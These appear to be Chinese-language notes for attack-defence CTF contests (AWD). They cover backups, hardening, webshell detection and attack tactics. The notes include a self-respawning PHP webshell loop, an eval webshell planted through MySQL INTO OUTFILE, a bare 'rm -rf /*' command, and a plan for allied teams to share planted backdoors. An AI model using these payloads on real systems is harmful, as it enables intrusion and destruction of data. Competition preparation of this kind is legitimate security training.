AWD 比赛准备
AWD plus 和 AWD 最主要的区别就是,前者无法连接 ssh,直接把网页源码给选手,然后会给一个代码上传入口,选手可以将修改好了的代码上传至服务器。故主要考验选手的代码审计能力
在2019年第十二届全国大学生信息安全竞赛创新实践能力赛全国总决赛上,永信至诚e春秋未来安全研究院和春秋Game团队推出了AWD的新版本AWD PLUS,和以往的AWD模式相比,AWD PLUS消耗系统资源更小,并消除了战队和战队之间的相互干扰,让比赛回归更纯粹和公平的网络安全技术较量。对于科研、教学场景,以及刚刚接触网络安全攻防竞赛的人群更友好。
做完图上的工作后你的大部分工作就已经完成了(基本完成了比赛也就差不多了),剩下的就是代码审计了,但是在那种高压环境下还能沉下气来审计代码的真的不多
前期工作
了解好网络拓扑图
准备好工具
Linux使用手册:https://github.com/haloislet/linux-command/releases
- 端口扫描、目录扫描
- 代码自动分析(D盾、审Seay、cobra)
- 流量分析脚本以及一些WAF(weblogger)
- python 的一些离线模块安装包(以便安装在防御机器上)(待完善)curl
- 各种免杀不死木马
- 批量脚本(真正使用起来,特别是不死🐎,和杀不死🐎的命令)
- 哈希爆破工具(爆破数据库中的密码)(待完善)
- 各种离线文档
- 漏洞库
- CVE 提权 exp
or
- 各種軟件包,如 Python、CURL 等等,以備機器上沒有而陷入尷尬
- 一大堆 EXP 庫和漏洞庫,可以放個烏雲的虛擬機備用
- 加固、基線檢查腳本
- WAF 代碼和部署腳本
- AWD 專用的批量拿 Webshell、批量交 flag、批量維持權限的基本代碼或小框架
- 安全配置检测脚本
队伍策略
使用沟通软件 feem
队伍(同一个学校)统一标识(标识中显示此队伍名称(用化名),包含约定好的一句话木马),比赛开始迅速识别对方 ip ,构建网络拓扑
比赛最后5分钟,敢死队策略.有拿奖希望队伍攻击无拿奖希望队伍(使用先前约定好的一句话木马)
防御
修改ssh密码
首先就要备份数据库和网页源码(先在服务器上压缩,然后再回传本地。这样会避免出一些问题)
找不到网页源码了?
别慌,别忘了用命令找。或者结合/etc
下 apache 或者 nginx 的配置文件找到源码位置(别的http服务,就去相关配置文件中去找)
ubuntu与centos
查看版本 uname -a
备份与恢复
备份网页源码
1 | apache /var/www/html |
备份和恢复数据库等
首先寻找 mysql 密码
1 | 常用php连接mysql语句 |
备份和恢复(有可能没权限)
1 | 备份指定数据库 |
数据库常用命令
1 | 修改mysql密码(重要) |
防御其他常用方法
- 源代码分析,快速找到木马,并注释掉(D盾、seay、cobra)
- 查看本机开放端口,关闭相关服务
- 修改文件夹权限,文件夹监控(自动删除被上传木马)
- 源码对比(查看有无攻击者修改)Beyond Compare (待完善)
- 抓流量,进行批量反打(pwn的话用tcpdump)(无权限)
- 杀死不死马(待完善)
1 | while true |
快速查一下有没有木马(重要):
find /var/www/html -name "*.php" |xargs egrep 'assert|eval|phpinfo\(\)|\(base64_decoolcode|shell_exec|passthru|file_put_contents\(\.\*\$|base64_decode\('
安全配置(一般都是没有权限)
HTTP服务
apache2
https://blog.csdn.net/stay_zezo/article/details/80212552
https://www.cnblogs.com/ylan2009/archive/2012/02/25/2368028.html
nginx
https://zhuanlan.zhihu.com/p/83890573
tomcat
https://zhuanlan.zhihu.com/p/64358891
python
https://zhuanlan.zhihu.com/p/56046697
nodejs
https://blog.csdn.net/weixin_41506373/article/details/86572730
php.ini配置(注意不要和和源码里的代码冲突)
扫描给定的php.ini文件以获取常见的安全做法并报告结果 https://github.com/psecio/iniscan
PHP.ini-for-Chinese php配置文件的中文翻译 https://github.com/HeDefine/PHP.ini-for-Chinese
mysql配置
/etc/mysql/my.cnf
关闭写shell的权限
select '<?php eval(@$_POST["elli0t"]);?>' into outfile '/var/www/blog/index2.php'
MySQL server is running with the –secure-file-priv option
1 | 在[mysqld]下面,查看是否有: |
防御脚本
通用脚本 weblogger
https://gist.github.com/wupco/ee26f88656fbf36d014f49b4ac47ddc8
- 完整http报文请求抓取,同时进行对可能存在的攻击进行分类,通过文件存储模拟出数据库,适应各种场合。
- 根据hash判断流量是否重复,只记录次数和最新一次的请求包,减少存储空间的占用以及流量分析的成本。
- 4个waf等级,推荐使用1等级,不会影响应用的正常运行,还可以抵御绝大多数的常见攻击。
- 设置flag获取命令,通过分析页面返回判断是否被读取了flag,从而替换掉flag(有些场合可能无法使用),将此流量标记为危险流量,同时攻击者ip加入黑名单,永 久ban掉(可从黑名单去除)。
- 黑白名单模式,可以手动添加,选择白名单模式,则服务正常通过给白名单机器,其他机器全部拦截。
- 可根据ip、时间筛选出想要查看的对应日志。
- 通过分析是否为危险流量,统计相同流量出现次数,显示出最可能是最终payload的流量排行。
- 一键生成ctf线下赛exp(获取flag+自动提交flag),快人一步进行攻击(除了正常攻击流量外,exp中还包含大量垃圾混淆流量)
- 删除并压缩备份选中的流量。
文件监控
https://github.com/TheKingOfDuck/FileMonitor
攻击
网络扫描masscan
1 | 扫描 |
快速制作脚本
burp抓取payload后批量攻击:
1 | import requests |
常用攻击思路
用冰蝎连接木马,不要用菜刀。冰蝎的流量是aes加密的
通过默认后门批量种不死马或者利用题目自带的一句话木马,批量 get flag 并提交
system('while true;do echo \'<?php if(md5($_GET[passwd])=="139bdb983ee92a3624f2cc978f0cb3b7"){@eval($_REQUEST[cmd]);} ?>\' >.config.php;sleep 0.1;done;');
通过上传漏洞批量种不死马
1 | <?php |
使用
find / -name *flag*
或grep -rn 」flag」 *
類似的語句可以快速發現 flag 所在的地方,方便後續拿分。
分析数据库备份文件 sql,发现后台 admin 用户的密码 md5,然后爆破出真正的密码,然后登陆对手的admin管理页面进行漏洞挖掘
CVE库(待完善)
wordpress wpscan
反弹shell
攻击 https://www.freebuf.com/articles/web/247967.html
防御 https://www.freebuf.com/articles/system/187584.html
你死我活策略(dog)
mysql注入 benchmark
rm -rf /*
流量转发,将所有流量(除了主办方的check)转发到另外一个队伍的ip上,然后同时保存所有流量(可复现攻击过程,攻击其他选手)。
Link
https://kknews.cc/zh-hk/news/qx428xg.html
https://www.cnblogs.com/kunspace/p/11167310.html
https://www.796t.com/article.php?id=111079
https://zhuanlan.zhihu.com/p/48987615
https://www.jianshu.com/p/d21b7e1bffaf
https://www.cnblogs.com/Vinson404/archive/2004/01/13/13779839.html